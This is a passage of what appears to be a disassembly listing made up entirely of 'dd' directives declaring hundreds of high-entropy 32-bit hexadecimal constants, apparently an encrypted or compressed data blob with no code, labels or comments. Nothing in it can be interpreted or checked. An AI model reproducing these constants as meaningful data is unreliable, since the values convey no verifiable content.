		dd 9A617CD4h, 0EA66ABCBh, 8325DC8Dh, 7E8546F9h,	0FC504419h
		dd 9994A708h, 9890B1BDh, 53B5A1FEh, 0A48DEBCh, 77E4187Ah
		dd 488E22C9h, 70FEDCCh,	0A85B1A5Fh, 27F2D001h, 8B95FA70h
		dd 83CC6F6Eh, 0D459BE32h, 782DD35h, 2854758Ch, 0E6ACF51Dh
		dd 21F38990h, 7CF2F413h, 8BE330E2h, 0D97D8D37h,	0BFDC1926h
		dd 0B810530Ch, 0AD170449h, 0D05AF43Dh, 554C1649h, 91F733C3h
		dd 10FE9BF3h, 8AB7665Ah, 0A946F213h, 9329EBBFh,	2AD4208Ah
		dd 12DB0C3Eh, 0AEC732E6h, 0EBB2E455h, 232280F5h, 40763E27h
		dd 97B7B32Eh, 43C6A75Eh, 0B60E7459h, 698A91B9h,	10F67621h
		dd 11F95C2h, 0C028A5E1h, 0B9E91D77h, 0BF719CDEh, 32CCB68Fh
		dd 35B4C9A4h, 5CF3F250h, 0A5B668BEh, 44B8238Fh,	583FFD9Ah
		dd 142A9765h, 57657CB5h, 8DFC99C5h, 6A21E30Eh, 88CB48E0h
		dd 25DAD2F7h, 99D33914h, 96FD4BB3h, 4451FC4h, 529EC251h
		dd 0C7BBD2Ch, 0D7AA76ACh, 0A4A1D3C0h, 1B67BB4Eh, 0EE4E0DB3h
		dd 8E33021Eh, 88324A02h, 732F1A74h, 21D08009h, 0EDE529D4h
		dd 0DCCBB326h, 8E87417Bh, 0BE8DDBAEh, 4A925CFEh, 0AB0E8DC8h
		dd 2CB58386h, 0E4A92C07h, 9368E56Dh, 0AC9EE188h, 28718F05h
		dd 5BA47D77h, 0F015E38Bh, 0B52EF600h, 1A175EA2h, 0A4A9E52h
		dd 99E11D11h, 8345EEC2h, 0D39CE972h, 0C42CFDE2h, 0A36FA4C4h
		dd 0ED47B487h, 6D238B09h, 0F3F75F02h, 52A82DF9h, 0C2683C7Bh
		dd 0CE947680h, 0A884E4DBh, 5CCE282Fh, 53D82DDBh, 99454F75h
		dd 90303B5Dh, 0EB226EC3h, 0A68C0B47h, 3A1DFF25h, 670B2D5h
		dd 8F0BDE44h, 2DBDD82h,	75CC2001h, 54E00C7Bh, 62B64934h
		dd 3262A572h, 0E0A2F4BCh, 1742C7FCh, 0EFD2C761h, 856D89DFh
		dd 83E9A1B4h, 0E76F0E4Dh, 9429D3D3h, 2403EECh, 506AF78Ah
		dd 0D04450D5h, 80947C8Eh, 4305DF7h, 396807F1h, 0E680215Eh
		dd 1EAFF0C3h, 676C2880h, 5F9EA191h, 1F9F6182h, 0E2C30CFFh
		dd 7D6528D8h, 0EE8D087Fh, 0CA4E491Fh, 2B9802CBh, 0EAE989BFh
		dd 74239E59h, 7EFF3096h, 9CDD14F2h, 0FFCE2911h,	0FDEF5A6Ah
		dd 0C77A763Dh, 0F9614116h
		dd 8AE91657h, 6F8C4C59h, 0FA6F31C5h, 1FBB2E51h,	0BB2C201h
		dd 9C697D0Fh, 9470B504h, 9E6EC113h, 0E730DA80h,	9EE9A094h
		dd 0C37CDC0Eh, 9C8ECDD3h, 455E1091h, 46CD2337h,	0DE623796h
		dd 0D24F0802h, 1B188AC0h, 0E0D6C04Dh, 0B52421D4h, 0B598CA01h
		dd 6DC28D35h, 8A15CB9h,	83290EA2h, 9FBC0F0Ch, 8D874137h
		dd 4B49B152h, 0F98C0C38h, 2282E0D7h, 30774187h,	2C992B42h
		dd 0EFB1F70Bh, 52869087h, 0F4E9AA2Ah, 23D10032h, 94291A97h
		dd 48C35C2h, 0FC608517h, 228A9D9Ah, 937135C4h, 15C18D68h
		dd 0BE3ECF67h, 80E6DF22h, 8AD680D5h, 0F17360DAh, 4DE8429Fh
		dd 7C39AF04h, 0AB7E064Ah, 23B3991Ah, 8D487A3Bh,	31D78598h
		dd 53467116h, 0B2920076h, 69F08BCEh, 2FE1476Bh,	202FBD39h
		dd 366BBE49h, 0BBD2AF6h, 0CBBC7568h, 8233A9E7h,	475B4DD6h
		dd 88609B13h, 3776BC50h, 657676DAh, 0AC1EC7D1h,	0AE4BBF69h
		dd 0D631CDDAh, 550A4452h, 0E666E7F3h, 0CB677B9Bh, 0A211074Bh
		dd 0D90292AEh, 97DEE57Eh, 5BBE0D4Eh, 9E06D059h,	19CF83B0h
		dd 3C1C0A28h, 13D9D282h, 8D778A81h, 78FFD732h, 8685D3C7h
		dd 816B324Fh, 105A10A3h, 46AD33BCh, 80E5245h, 221BC2F8h
		dd 7981D545h, 0A47A6AF9h, 0CCB8C040h, 96860456h, 1B083964h
		dd 448642B4h, 676DC9D3h, 0E8A59291h, 7F2041F3h,	565A13A9h
		dd 7F6AFA3Eh, 623B2E93h, 0B8F18ABDh, 94460C07h,	0F7E1F3D2h
		dd 87B2C534h, 5529F06Ah, 0EC612FEBh, 0FB7064D2h, 0B9213BBDh
		dd 4E6DACB7h, 0D0ED3890h, 473DF80Ah, 310558CAh,	8C988EDCh
		dd 0FCC07D24h, 0F1FDCFF1h, 6FAA1842h, 6E192ED3h, 0EC11207Ch
		dd 5FBFB239h, 6E6FBF97h, 3D744FDh, 0C3FB8E81h, 0DCCC7CFBh
		dd 8FF0025Fh, 78BF4908h, 5E74864Bh, 77BC5461h, 0EA69F92Dh
		dd 8A2087CAh, 87BBD03Eh, 0AD88C42Fh, 76C45A1Eh,	0AA74F741h
		dd 3319D374h, 19C1B3DDh, 0C0DDCAADh, 73CB548Bh,	0A06F4EF2h
		dd 0E039A944h, 0F993A9DBh, 0E799923Dh, 76A8A026h, 0DE202679h
		dd 3CB45461h, 0D7F480FBh, 20678041h, 11C72C7Fh,	1DD483C1h
		dd 233DB9E3h, 0C7B1CE4h, 0ECDBA35Bh, 7BE7B98Ch,	5AE9055h
		dd 7FEE6696h, 5D11F79Bh, 0E2F60342h, 0ACAF2D3Eh, 0D49A8155h
		dd 6189F3E9h, 7087BEBCh, 17763C79h, 3CFD7C92h, 151F49A4h
		dd 0DF1A5180h, 0FF6F482Fh, 1616FB3Dh, 9C227D98h, 425E385Fh
		dd 0B524D68Ch, 926ADCB8h, 2198F7ABh, 3C5BDF87h,	875C45BFh
		dd 0E0F084Bh, 0E96893D6h, 0F7A0CB09h, 866197D4h, 0C5B698E5h
		dd 43FB77F8h, 462710AEh, 4B4FB9D2h, 0EE0B5348h,	8BB99300h
		dd 0E9894978h, 0B3CD3EDFh, 0E64E9D66h, 0E28927DBh, 7E4693A6h
		dd 79ADFF93h, 0ABCBE5BFh, 5EF0A2DBh, 0A6B738C6h, 50184A85h
		dd 8E51FA8Ah, 3795A2CDh, 6E8C5423h, 0A32FDEC0h,	19C6CB28h
		dd 139FCD1Bh, 27198120h, 0DFC0DAEFh, 2CFAC930h,	261551F5h
		dd 0E5784CD9h, 0E17D4876h, 7E8628CFh, 722CE165h, 95E2766Eh
		dd 4D053286h, 51F4DB4Fh, 24DE3E77h, 0F1F9BD5Dh,	8F9A65F9h
		dd 43404B63h, 0B769C870h, 0AC5E256Ch, 3F61EA96h, 0EEE219B7h
		dd 66B489FFh, 4AB1B383h, 0A92C2062h, 7573D5ABh,	0A26C5AD2h
		dd 153E4B76h, 0F1561DEFh, 2DA31BDBh, 998BAC68h,	92E4DEECh
		dd 64BB0FBh, 43CD4DE3h,	0FD8BBAD5h, 19581190h, 83CCDFC2h
		dd 0EBE22651h, 0BE097930h, 0E6107B69h, 0A49264DBh, 1294DAA9h
		dd 2FAFE738h, 0F11763E9h, 0B5024918h, 89236174h, 1D00D403h
		dd 1756CBF9h, 0A196F18Fh, 0DCA54428h, 7243CF5Eh, 7DB7D6A3h
		dd 97D05585h, 8E77B41Ch, 32E3BB40h, 4595C901h, 2C802B93h
		dd 666D0B55h, 0EBF671C6h, 0F8423362h, 0E9B6EA17h, 18D443C0h
		dd 212B8C44h, 94E7EE2Ah, 0FA5EFAC0h, 6F5731F7h,	8A505257h
		dd 59A9668Eh, 0FD60CDB9h, 0C233FB5Dh, 0A9895D0h, 3AA7558Dh
		dd 9A9F5513h, 8D7E4123h, 7F34CC33h, 8ACAA940h, 253F4CF9h
		dd 0EDFA59EEh, 0CB5EF6BAh, 41BF0AD2h, 60A54E2Dh, 0CA7D70CDh
		dd 797A10E6h, 796A6E40h, 4BD6462Dh, 24C3B999h, 8561A79h
		dd 17BB851Fh, 48993C7Dh, 2E497BCBh, 5A940E3Ch, 5963EB0Fh
		dd 0A02602D2h, 500084BAh, 0FEFE47E1h, 704983C6h, 6822949h
		dd 25E1C2CBh, 2C4FB47Ah, 0BB22BC73h, 0FC0724EEh, 7076482Bh
		dd 0A45EFA9Ah, 0AA5E3C7h, 252FD379h, 0B21EF57Ch, 0BE1180D1h
		dd 0F3FCB245h, 450AE97h, 6E2CD8CFh, 7237BC04h, 98CD8D89h
		dd 0EF8094D1h, 1288B781h, 0D91989BBh, 671B09C2h, 0D692BBE0h
		dd 0D14BF872h, 4A6E2C2Bh, 3203297Ah, 0DF2FD79Bh, 208208AEh
		dd 0FE758F7Bh, 2BD66615h, 0C5C6FFBAh, 262DC968h, 98CEF5FEh
		dd 4EF82CF2h, 0EFB3944Bh, 0D68EDF7h, 0A0D78B3Bh, 6014B5FAh
		dd 0F900718h, 3104CAABh, 0BCB57771h, 0F4E8E148h, 956BD541h
		dd 0CFEA2958h, 3C2A00DFh, 0F72CC8BDh, 8E2F073Ch, 0E6EDDC4Dh
		dd 54107578h, 928E985h,	3469D34Ah, 30EF2C77h, 0A9470AD5h
		dd 328CA38Fh, 19EE75D1h, 0BA532B6Fh, 0C071E81h,	0CCED2D94h
		dd 48AA93C3h, 907D9582h, 0EF7BD1C3h, 5341BB50h,	0EF64A707h
		dd 7DAEAB98h, 0A338C2EBh, 913B098Fh, 2E8E682Eh,	0B7ACC9C7h
		dd 85243F37h, 563B5DC5h, 6933395Ah, 51D2C4FDh, 0CEBEB372h
		dd 93AB161Ah, 245F174Ch, 63E71EB8h, 3FD3EBEEh, 30ED2BDEh
		dd 0C4BB422Dh, 4132C859h, 0BED5E9CCh, 0B63195ACh, 0EC752AC9h
		dd 4230D4C4h, 6B1AE7A1h, 0B5A231D0h, 0DCEF810h,	0AB03D7F8h
		dd 0B55A4371h, 4B5A2689h, 0C06A6CF5h, 0B90EAD8h, 49060A8Ah
		dd 0E628D365h, 3B4D4B33h, 0B0C9CAA0h, 148B496Bh, 56F377C3h
		dd 0CD24EDECh, 0EF6902ECh, 0DDDD4856h, 0E9160E81h, 1AF688FFh
		dd 0BAF2A1E1h, 0B459BD45h, 9BB6B40Dh, 0E7FD0DAAh, 86F9463Ah
		dd 14E4348h, 0C10CF99Bh, 0EFEC8681h, 4E43C733h,	0D530ACB8h
		dd 813B26AFh, 0F16B1079h, 93B8A5CEh, 845F0E5Ah,	0F7BF3F2Eh
		dd 77F0039Dh, 0AFA69E31h, 0FB4DE989h, 0FA23868Eh, 0D6E5F24Eh
		dd 7C76CD38h, 20626818h, 4412464Ch, 3DA25193h, 0AFDE6B0Fh
		dd 0F5245ED9h, 0A28413FBh, 1900375Bh, 87408DF6h, 659C7465h
		dd 0A12457D4h, 265363D4h, 5E2596C1h, 0EF4BE12h,	41043C2Ch
		dd 0ECEE9C2Eh, 9007AC7Bh, 0AF4123A8h, 334182E2h, 8D569D83h
		dd 38D3AE84h, 0E7B18707h, 0E2D07BDAh, 0E39FEBF1h, 89B2C66Dh
		dd 0CF446CE8h, 97020CC7h, 8C314A7Eh, 0EA58E267h, 0F72F390Ah
		dd 54E5DA1h, 701BD3C4h,	0BA38B0D1h, 6033235Ch, 47D1B34Ch
		dd 39F55DFDh, 8F577B7Dh, 0F2A7DA03h, 9F6982A8h,	4911B011h
		dd 0B6F7F4ACh, 9BD5F597h, 7DFEAEEFh, 0E195B6F5h, 0F753FCC9h
		dd 0FDACC09h, 2CE544EFh, 0A4EB9C91h, 0F04998D0h, 0A6D532C5h
		dd 7174FC67h, 62785142h, 25758255h, 21081634h, 3003BC31h
		dd 2549A112h, 0EBB672Bh, 33F6DBD1h, 1EF7DB8h, 20AEC3BDh
		dd 0F67F444Ah, 482A03FFh, 0E8ABF6B0h, 86724BBFh, 0FCCA9273h
		dd 0D2B61C51h, 0B476E91Ah, 7C4C99F6h, 29062A9Ah, 7C6E6E55h
		dd 55365118h, 0D6114235h, 2F569E55h, 0DBFD3292h, 0F0C76684h
		dd 7A58DA3Eh, 0C0BC9ACDh, 1B0438C9h, 8967BC9Bh,	7026F119h
		dd 0BCE3FD1h, 0BF9E919Ch, 96DE8FE0h, 0E8BFEF1Dh, 0BB84873Ch
		dd 0EBB674A3h, 9C80B7DFh, 76B0648Dh, 0A98248A7h, 0A7CE8103h
		dd 0A41905F8h, 7085B8E2h, 4820BF08h, 403987B2h,	85B6680Eh
		dd 9F4C3979h, 6A294404h, 3B38F2D6h, 41585D6Fh, 99A7B55Ch
		dd 608584DEh, 0A66D3A9Eh
		dd 0FDB8125Bh, 6695A81h, 157955F1h, 4EBC81D6h, 4502FF8h
		dd 3EEE11EFh, 140493D0h, 0E1B967BDh, 56B8FBh, 1A584671h
		dd 0A87417E6h, 21592127h, 0B14207CDh, 0F450943Ah, 0D879035Eh
		dd 0BF013623h, 0D1982468h, 34021782h, 0AEDCAB4Fh, 25D5DFEh
		dd 2E57DC7Bh, 104B2C47h, 0F3E9F71Ch, 0BD89CB99h, 63B74CB1h
		dd 0E0DCDD8h, 7A958D54h, 0CC7A8F00h, 0D51C9F78h, 0A5B28ED2h
		dd 9EF7FB6Ch, 0B2C3215Fh, 0BCCBF5E3h, 4C93862Ah, 25A542C7h
		dd 0EE9CDCDEh, 0C2F8039Bh, 0B56F9AF4h, 0E1FF716Fh, 6BD77C22h
		dd 47AC4D3Dh, 0FC0621A7h, 704615F0h, 0A04CC43Ah, 0B6C6F14Eh
		dd 0DB9E0DB7h, 11FAAD0h, 63F910B6h, 0D2997FF9h,	0DEC0B7E5h
		dd 81C9391Bh, 813D487Ah, 0A04B81ACh, 0ECD3526h,	6E46AB61h
		dd 8AF760DEh, 0A0A9C12h, 2BA37108h, 58665739h, 6EF40E10h
		dd 0C003FBCCh, 3C2D6B5Bh, 96B58C2Fh, 0F2B3495Dh, 0B01C5C16h
		dd 474C160Ah, 13ABDE9Eh, 8E411D0Eh, 178A3815h, 1BBABC7h
		dd 0A4439089h, 0A7481756h, 0BCEDE577h, 0D668776Fh, 96FA129h
		dd 91EC1554h, 0AF8451EBh, 0BB99F83h, 1FEF6652h,	0D28E2B5Ah
		dd 9BBDC5D9h, 0C59E8254h, 77EC537Eh, 0F40DCC66h, 5C6F299Fh
		dd 9D844937h, 20D7B673h, 7703427Fh, 161C1B41h, 0E4B74E4Ah
		dd 0E524774Bh, 0F14C6AD3h, 0FED41684h, 9AB88B3h, 0F1BEF221h
		dd 72247DDh, 0F5BBE061h, 0A7F80638h, 0E0C331C7h, 0B18EAD1Ah
		dd 8038B34Dh, 99D40E50h, 94C257CBh, 5B078B28h, 69BEA45Ch
		dd 0C8F19A29h, 16C46B72h, 7EDD1982h, 0EB494468h, 57239426h
		dd 0CA5703C9h, 493470D9h, 0DDFE5A03h, 0B15F3A7Bh, 90230E28h
		dd 804F3900h, 2AA54CD1h, 75457BBAh, 0B863B694h,	0BB997D5Ah
		dd 22062FE9h, 0B69F4187h, 0E38759B8h, 84CFF361h, 0FAA76C69h
		dd 286CBFC2h, 507C504Ah, 38A282E1h, 2314ECA5h, 0DD565453h
		dd 74DCE978h, 336C5CB3h, 9CAD179Ah, 6F0BEAD9h, 0D7E8A0B1h
		dd 0D4C76750h, 9E877A20h, 37EDFC75h, 3C9BB98Dh,	0F24050A6h
		dd 0F864504h, 551C67B8h, 0AD3FCACh, 0BB9508BEh,	54CB2F6h
		dd 0E01E9A82h, 0B5372063h, 0AF0FE3FAh, 5766A19Fh, 6926E2D6h
		dd 7E26E112h, 0E4C57210h, 9665EAF8h, 0C7CFD63Dh, 305FF002h
		dd 2014BB80h, 0D917531Ch, 82B68B93h, 83D11B31h,	43564ACEh
		dd 0E41076E5h, 6945E8E5h, 0A89475C1h, 0FBCB38ADh, 0FA3F4106h
		dd 98098350h, 0C21C0D4Bh, 98977757h, 0DDB9D12h,	400BD1D1h
		dd 0C5E048E7h, 0B9185013h, 752B8979h, 4053B96Ch, 0E83DDE4Ah
		dd 0EA4D0AB8h, 0A2586244h, 78C039D8h, 0A93F6167h, 59FCC296h
		dd 9B3EF61Dh, 0A2BF3E7Ah, 21FBF020h, 3CB1DB62h,	0DCCBBBBh
		dd 368BBDFAh, 0A5F2EEE5h, 6BEC9D8Ah, 4FCD61D7h,	5F06BC59h
		dd 0D141600Eh, 4CB508C7h, 403DD159h, 0CD7A245Ch, 0E5AC7B75h
		dd 7F9C671Bh, 0CEA68E0Dh, 93423126h, 927ED7F4h,	2D3828F3h
		dd 0FCFBE2F0h, 0EB326BB6h, 0BF7A652Bh, 214FECCDh, 42D97DE2h
		dd 28DBD632h, 0DDDFA25Eh, 0B40F3D2Ah, 0D6208C0h, 742B0DD4h
		dd 29E37A05h, 0A14EDB35h, 0CCEB60BEh, 0AFC411CBh, 47432B06h
		dd 73FB15F7h, 888CFEE0h, 0DFA71C63h, 91850D4Eh,	75701F50h
		dd 0CF5C41D2h, 1C4A1ECDh, 8D086844h, 228BBB21h,	0A02A8C4Ah
		dd 4C56EB55h, 9902845h,	59DF6DB3h, 8D080DCFh, 34438F55h
		dd 56410DA3h, 933BB3A0h, 0CECB0FFEh, 0DB95965Eh, 6B91E1C4h
		dd 0E7D68475h, 0F1B87E80h, 761DEE69h, 2CCC4544h, 396623D2h
		dd 15EEE12h, 0B1456698h, 0CFB4FAD8h, 0BE2A3AFFh, 6CCB407Bh
		dd 0A538DB36h, 0E79B8FC7h, 70BC2FFDh, 0E8CA02FAh, 4840C5AFh
		dd 0E7A01D60h, 0ECFC9965h, 37D3610Eh, 25BFA591h, 0B08D5991h
		dd 3B461D69h, 62D76F94h, 0E6AADAB6h, 46C68079h,	0C0650112h
		dd 0CCE1DDABh, 0B63A27B1h, 0DD18ED6Ch, 857500ADh, 18B044FEh
		dd 7AAC6A74h, 29E2C9E6h, 88CAD0C5h, 56DBD07Bh, 5EC94496h
		dd 685E40C5h, 0F5AFC16Eh, 7D7EA624h, 4CAB20Eh, 93B334B9h
		dd 243388C2h, 0CD6B6A91h, 48DDB37Eh, 2877422Dh,	18A41699h
		dd 0DDBB13EAh, 80552ABEh, 71E7B245h, 0B1A37316h, 383AEF94h
		dd 0B601E725h, 0F08EBC19h, 664EC2E7h, 0DDB1ABDBh, 7A716B64h
		dd 0E65A105Eh, 2FA1CEBh, 0FC59030Bh, 574BB3F8h,	0F3B5E6FDh
		dd 0B3E6D538h, 0AE564331h, 608797D3h, 0E4522F5Eh, 0F7EC6926h
		dd 475AD05Fh, 7C3C679Fh, 0E110225Fh, 23128B8Ah,	0B6CCF88Ch
		dd 965222Ch, 0D6BC0052h, 94567562h, 401FF653h, 4B139566h
		dd 0A3F97A68h, 0B4A94D7h, 0A9C77EC5h, 509E43A3h, 57737380h
		dd 0C1EA8245h, 0B9BB8EFBh, 3CFFE1B9h, 0B69C2CD9h, 0C9011C98h
		dd 0C35BEF42h, 568906F3h, 0F739CDAh, 304DE46Bh,	0E5F23DE6h
		dd 0A1EC1F23h, 42B26BB0h, 0DD0498D9h, 28DF5D06h, 3B19AB85h
		dd 869F7875h, 4144BF67h, 14CDF699h, 425F9661h, 9034942Eh
		dd 0B9515D3h, 3D2B0576h, 0D9118AF3h, 0EA8EEAC1h, 0B0896E7Eh
		dd 290F1431h, 308BA76h,	43DFEB1Bh, 3C901380h, 512A5A25h
		dd 6ADAE2C0h, 0D2D4F119h, 9C58E89Eh, 3C63B551h,	85372206h
		dd 48B6D6AFh, 0D1019437h, 0B0E294ECh, 5D7FDAC2h, 2DCFBF55h
		dd 64B01705h, 3F3D8998h, 7FAB18A1h, 0AFFCB516h,	909408A1h
		dd 6D305C27h, 2D02565Bh, 0F3493B1Eh, 1C4395Ch, 58523328h
		dd 9381D7B2h, 0D690455Dh, 9AC42B7Eh, 0BCCAF86Fh, 0B6134AEh
		dd 0ED385CB5h, 3CC08FDEh, 0CBEC58FCh, 7DD67C4Ch, 66B9F7DBh
		dd 6BBA6BD5h, 85137A68h, 277F09CBh, 0B058BAFh, 0BC0D882Ch
		dd 8CA5725Eh, 7E88C6F8h, 1D9EACCBh, 9144DD08h, 0C880E8D6h
		dd 5F1278E0h, 8A400A7h,	0F4E5A094h, 58A02D92h, 3230589Bh
		dd 0E08B95F0h, 1C4D1131h, 0D312CD51h, 0BBAA211Ah, 2FF305EBh
		dd 2689967Bh, 4C73F3B4h, 0BAA02205h, 5D1649D5h,	0E1EE541Dh
		dd 0FBEB9B8Bh, 5DC664DDh, 21FF3B7Dh, 815F77h, 2CB772CDh
		dd 0EA1E3591h, 9329E49h, 116E7D4Ch, 65EBBFFDh, 6D2EA490h
		dd 159A3A63h, 7AFF6EC2h, 146A0BAh, 0F1D0E674h, 0F195ADB5h
		dd 3CC0CA2h, 67FA9EA2h,	1B159C03h, 0A03B5184h, 0CA8BA2Dh
		dd 4AD427F5h, 153CE2C9h, 57992BCh, 4225BEC3h, 0A4679C30h
		dd 99C8AD37h, 4A32C3CBh, 8797F746h, 60E2973Ah, 9F1D1E52h
		dd 0C708FBE6h, 7271D8D6h, 38419614h, 61B4907Eh,	0D70665F5h
		dd 61C63852h, 507CE1BCh, 0B6EBFBDDh, 47C570B3h,	5A0D9CEDh
		dd 0DE6F0310h, 34422073h, 97E9B4FDh, 0C7F1D12Dh, 0A8606908h
		dd 3D6330D4h, 703213C7h, 0D0BFD523h, 0C27EF4D8h, 919870C8h
		dd 381D58EEh, 8171BBB6h, 80D5B1F2h, 1C2D2A1Ah, 56706A2Fh
		dd 6AD72EC0h, 9B1AA253h, 35A77506h, 0A42F63D5h,	5CCA9753h
		dd 6334ABA8h, 0D81A43BFh, 6ADDD198h, 0C1106B39h, 0D1098C01h
		dd 33049F69h, 23A24892h, 0F916B8B7h, 8D3D796Eh,	2ABEA742h
		dd 2C8D29A0h, 546255BFh, 1C0A87FBh, 0C564767Fh,	0EF32A964h
		dd 148D8867h, 0F427CF67h, 0E96EDDDDh, 0F9DE88A1h, 0D1F9ADB5h
		dd 999A617h, 5F03979Ch,	0E5446C88h, 0A0CB53CEh,	4A741E6Ah
		dd 965B4779h, 0E8F98FCh, 51CFA9DFh, 31B4B541h, 66CC76A0h
		dd 0F2DB0A2Fh, 0EC7F2E6Ch, 0E22A41h, 0DBEE7D9Bh, 0BF0BBED5h
		dd 0A453E936h, 0B53FB539h, 0D6E60DE9h, 3C8764FAh, 257FBD3Ah
		dd 6DCF951Fh, 0B01AD1C6h, 0AE507338h, 0A6D0ACEFh, 0D13A0EA8h
		dd 0A3410A92h, 4658036Fh, 0F4EB51B2h, 72C5CCE3h, 676F5B87h
		dd 22FFC2C5h, 1DFBFE3Fh
		dd 0B4FBF611h, 18D2B1FBh, 0C1516B7Fh, 3AA0D652h, 0DAFCBE7Bh
		dd 80B9AA13h, 0F9A9BBECh, 8010D3D6h, 454EA24Eh,	6E3C24AEh
		dd 0EEE76C44h, 658C6F85h, 37BC9645h, 0F2D5E749h, 73523915h
		dd 0AE757E2Fh, 73DE8787h, 6C13A5BBh, 9371B97Fh,	5CEDB36Ah
		dd 5B371D29h, 0BF8B766Eh, 4450874Dh, 8510B78h, 5E71BB36h
		dd 3F407743h, 0CBB7D68Ch, 0DC3B8F4h, 9060D6B3h,	2BA22192h
		dd 9BF29088h, 3573D6A4h, 78B2C641h, 0D625E3B1h,	0F290D5DAh
		dd 1CBAF5ACh, 593AC0DFh, 814924E2h, 0F39ED135h,	0BBFCCD4Ch
		dd 0E54DC5F5h, 3154CBA3h, 7BC42D35h, 7A79E0A7h,	0A03F8C48h
		dd 120B51AEh, 0CCC004A4h, 742474FBh, 0D3E11C19h, 8CA798D3h
		dd 0FEB9612h, 9BFC20B7h, 23EE0A88h, 4E262265h, 0C28102B0h
		dd 0C0C8C531h, 424C866Fh, 0E09BE5A3h, 0C0D920BFh, 8C99A647h
		dd 0A0321886h, 0B3335FFBh, 1554390Bh, 0F96CCC32h, 0C557B7D7h
		dd 76E1529Ch, 0BD370CB1h, 86FB689Bh, 2D0F2E8h, 0E9CF8225h
		dd 0FF84C969h, 2D82BB20h, 10DD2194h, 4C4877E0h,	7B4FE4AAh
		dd 0D91B8481h, 413D84C4h, 242D4Fh, 0A86DFDA0h, 0F8DF6214h
		dd 1993CEF8h, 33A97629h, 0F727B214h, 9099E387h,	8E19CE31h
		dd 895B10CCh, 0F94D240Ch, 0E66A90CDh, 0DE3FC03Ch, 8CA88EB0h
		dd 0C0196E43h, 3EDAC7A8h, 79E37B02h, 0A16AD1E4h, 0B95DCD77h
		dd 68460967h, 0CE0041CEh, 4168179Eh, 336D6492h,	0E173851h
		dd 0C884E73h, 3CF18F58h, 57D652DAh, 811C4B64h, 0CD41A25Bh
		dd 77233D98h, 21976025h, 59959B73h, 0B90D316Eh,	0A9EADB16h
		dd 586ECB6Ch, 0C0D3DC3Ch, 351A50B0h, 6B6FDF81h,	0DF9D182Bh
		dd 501FC690h, 0BC1357D7h, 17FB2025h, 0D65778AEh, 0A7B717DEh
		dd 0B8C43613h, 377B70A2h, 7783B65Ah, 17B10BE0h,	83586762h
		dd 44699D24h, 34DB5B80h, 7AE7E501h, 0ADF4BF62h,	832DDC11h
		dd 273021Fh, 0C81837EEh, 11742F0Fh, 28448DD7h, 95AD5F81h
		dd 3DB2C722h, 6E88D529h, 0E0593466h, 739991CDh,	2AF72BF9h
		dd 0F6F3CE4Fh, 0ACC990D6h, 26AAD3A4h, 0D55D71A0h, 0B058386Ah
		dd 8D86AB4Bh, 97BD7273h, 9EF51E85h, 114E3A51h, 63CEC558h
		dd 0EA382B97h, 74ED64A5h, 0CD2891B3h, 0A8026D3Eh, 0B646DC08h
		dd 6F70B612h, 8D62C51Dh, 603081B4h, 54D9E435h, 0AB92FE3Ah
		dd 0F1B1F484h, 7D8AFC88h, 582FB65Ah, 2BA6C1EDh,	0CE7A53Bh
		dd 762161ACh, 95385765h, 5EB97DD1h, 89D7019Eh, 1AC7ADB5h
		dd 0BAABF8A3h, 0F82667C5h, 61FA441Dh, 0F759E826h, 0FB193247h
		dd 231F1E85h, 54DC5651h, 2FBC08BCh, 0C1CB1B59h,	5F26818Fh
		dd 0C44E6159h, 0B407AEBh, 67A38FDh, 26911884h, 0A5A17189h
		dd 71F36803h, 295F361Eh, 7CBED85Fh, 0C032AF59h,	27162A7Bh
		dd 0E4378D04h, 96BF218Eh, 7599A725h, 0C406C919h, 311131A5h
		dd 98EB07F2h, 0BF2F45C5h, 7B1BD82Fh, 2417D957h,	0FB908399h
		dd 0B649FACh, 1541D065h, 6A079F86h, 0EA1370BEh,	0E5E6C633h
		dd 574E30B4h, 6323D1D8h, 5BA498B5h, 0FD329963h,	84F7C176h
		dd 3CB2B914h, 766B1DB4h, 0B0E19751h, 77FAB449h,	0B7FCABA2h
		dd 0DE7938E2h, 0AD603DEAh, 0DFF21D03h, 8A1FDAC8h, 60CF7A21h
		dd 0D10E9395h, 0F84C95B5h, 0E03F8F84h, 68D1D6Ah, 5537CFD7h
		dd 0DA14768Ah, 4CF06CD7h, 1C93D7F7h, 0C80D152Bh, 0F73D6C10h
		dd 5AB2C8CFh, 7FBB047Ah, 0D79653E1h, 879589C7h,	0F287B1A5h
		dd 2EFC2028h, 8E4EC209h, 0F207A307h, 6485D6AAh,	0FC097B8Eh
		dd 5DDCDC5Dh, 0C0D25127h, 6897907h, 6F62A7D3h, 60A0DDA6h
		dd 0B44EAD0Eh, 609C53A2h, 776879EBh, 76966695h,	0D72EE971h
		dd 0A1511533h, 5DF893F5h, 0CA65603Eh, 0F84AA190h, 8F0C5CF8h
		dd 473C63B0h, 2A35D04Ch, 8C468C10h, 0EC91E9E6h,	34FBDE4h
		dd 6C5C7A14h, 9C309393h, 0FBDAB087h, 0DFC9E286h, 0DD055140h
		dd 0A7133793h, 12B5E234h, 0AEC10E10h, 5BD28E9Dh, 5AF50DEDh
		dd 4A4CF5F7h, 0D0F98BF4h, 43E6387Bh, 0C7FC308Eh, 0AB3833Bh
		dd 7F1F61Ch, 98667EFFh,	93E711F4h, 15088A98h, 0FD922210h
		dd 0EFD27F20h, 5FBDAB5Fh, 0EAA34E16h, 81C63D27h, 0FB16155Bh
		dd 57A8B671h, 36086FF4h, 0B0057E7Bh, 14461825h,	9AE2632Dh
		dd 0C7339ABDh, 0AE0FDCAFh, 13173051h, 0F9C3B22Fh, 0BF9536CFh
		dd 5FE743E2h, 0C35AFD89h, 0A68F425Dh, 9593F235h, 0C06A0183h
		dd 0AB807C50h, 0DAC44C32h, 0BC143106h, 3E75C534h, 0D39EA790h
		dd 1D443B58h, 0C0E0801Bh, 0EDAFF8BBh, 883542BBh, 0DC5288E9h
		dd 9852FC26h, 7362CAE4h, 61EEBE67h, 0E939A0DFh,	6F586A0Ch
		dd 0D096E63Ah, 19388BB2h, 6D7341E4h, 0BC134E15h, 574DF421h
		dd 1C53FC07h, 0B867ACBEh, 0C9821CF1h, 4897809Dh, 0F5D0C51h
		dd 3DC5B78Fh, 8B3E3E31h, 0CDCE2CF7h, 6AAEBDBEh,	282B8D7Dh
		dd 67F2A4Dh, 69B69B50h,	69208631h, 0D7348458h, 94D6D5DBh
		dd 41797281h, 8BADEE4Dh, 5ACBE9F2h, 647D6EFBh, 893C099Fh
		dd 66D1CE76h, 0EDFABF4Bh, 0F6DA5105h, 55428EADh, 2CD3649Ah
		dd 0E96000FDh, 0D3657ADDh, 0FA8E7DACh, 0A2C06FEFh, 0A7DC766Fh
